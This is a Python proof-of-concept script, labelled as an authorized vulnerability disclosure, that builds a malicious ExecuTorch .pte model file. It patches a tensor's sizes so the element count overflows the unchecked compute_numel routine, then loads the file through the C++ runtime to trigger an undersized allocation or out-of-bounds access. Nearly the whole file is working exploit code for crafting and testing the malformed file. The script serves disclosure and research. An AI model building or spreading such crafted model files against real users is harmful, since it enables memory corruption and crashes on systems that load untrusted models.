#!/usr/bin/env python3
# huntr Model-File-Format PoC (AUTHORIZED disclosure) — ExecuTorch .pte compute_numel int-overflow
# Craft a malicious .pte whose tensor `sizes` product overflows ssize_t (unchecked compute_numel
# tensor_impl.cpp:42; sibling safe_numel:64 guards). Load it -> undersized alloc / OOB at parse.
import sys, os, struct, traceback
OUT = "/mnt/c/Users/A/AppData/Local/Temp/claude/C--Users-A-idea-security/3ebe7ed1-e1f0-439b-89dd-99e02abb9f01/scratchpad"

def log(*a): print(*a, flush=True)

# 1) Export a minimal valid base .pte
import torch
from torch.export import export
from executorch.exir import to_edge

class M(torch.nn.Module):
    def forward(self, x):
        return x + x

log("[1] exporting base model ...")
ep = export(M(), (torch.randn(2, 3, 4),))
et = to_edge(ep).to_executorch()
base = bytes(et.buffer)
open(OUT + "/base.pte", "wb").write(base)
log("    base.pte bytes:", len(base))

# 2) Deserialize -> patch a tensor's sizes to overflow -> reserialize
from executorch.exir._serialize import _serialize as S
from executorch.exir.schema import Tensor
# deserialize
prog = None
for fn in ("deserialize_pte_binary",):
    if hasattr(S, fn):
        prog = getattr(S, fn)(base); break
if prog is None:
    # fallback module
    from executorch.exir._serialize import _program as P
    prog = P.deserialize_pte_binary(base) if hasattr(P, "deserialize_pte_binary") else None
log("[2] deserialized:", type(prog).__name__, "attrs:", [a for a in dir(prog) if not a.startswith('_')][:12])
# PTEFile wraps the Program
program = getattr(prog, "program", None) or getattr(prog, "flatbuffer_program", None) or prog
log("    program:", type(program).__name__, "attrs:", [a for a in dir(program) if not a.startswith('_')][:12])

# find tensors in execution plan values
OVR = [2147483647, 2147483647, 4]   # product = 2^31-1 * 2^31-1 * 4  ~ 1.8e19 > 2^63 -> ssize_t overflow
patched = 0
for plan in program.execution_plan:
    for v in plan.values:
        val = getattr(v, "val", None)
        if val is not None and val.__class__.__name__ == "Tensor" and hasattr(val, "sizes"):
            log("    tensor found: sizes=", list(val.sizes), "scalar_type=", getattr(val,'scalar_type',None))
            val.sizes = list(OVR)
            if hasattr(val, "dim_order"):
                val.dim_order = list(range(len(OVR)))
            patched += 1
            if patched >= 1:
                break
    if patched: break
log("    patched tensors:", patched)

# reserialize
ser = None
for fn in ("serialize_pte_binary",):
    if hasattr(S, fn):
        ser = getattr(S, fn); break
mal = ser(prog) if ser else None
if hasattr(mal, "tobytes"): mal = mal.tobytes()
mal = bytes(mal)
open(OUT + "/malicious_compute_numel.pte", "wb").write(mal)
log("[3] malicious .pte bytes:", len(mal), "-> malicious_compute_numel.pte")

# 3) Load the malicious .pte through the C++ runtime -> observe crash/abort
from executorch.extension.pybindings.portable_lib import _load_for_executorch_from_buffer
log("[4] loading malicious .pte through ExecuTorch C++ runtime ...")
try:
    m = _load_for_executorch_from_buffer(mal)
    log("    loaded module:", m)
    # force method/tensor materialization
    try:
        out = m.forward((torch.randn(2,3,4),))
        log("    forward out:", type(out))
    except Exception as e:
        log("    forward raised:", repr(e))
    log("RESULT: loaded without hard crash (inspect for abort/OOB above).")
except Exception as e:
    log("RESULT: load raised exception (parser rejected or aborted):")
    traceback.print_exc()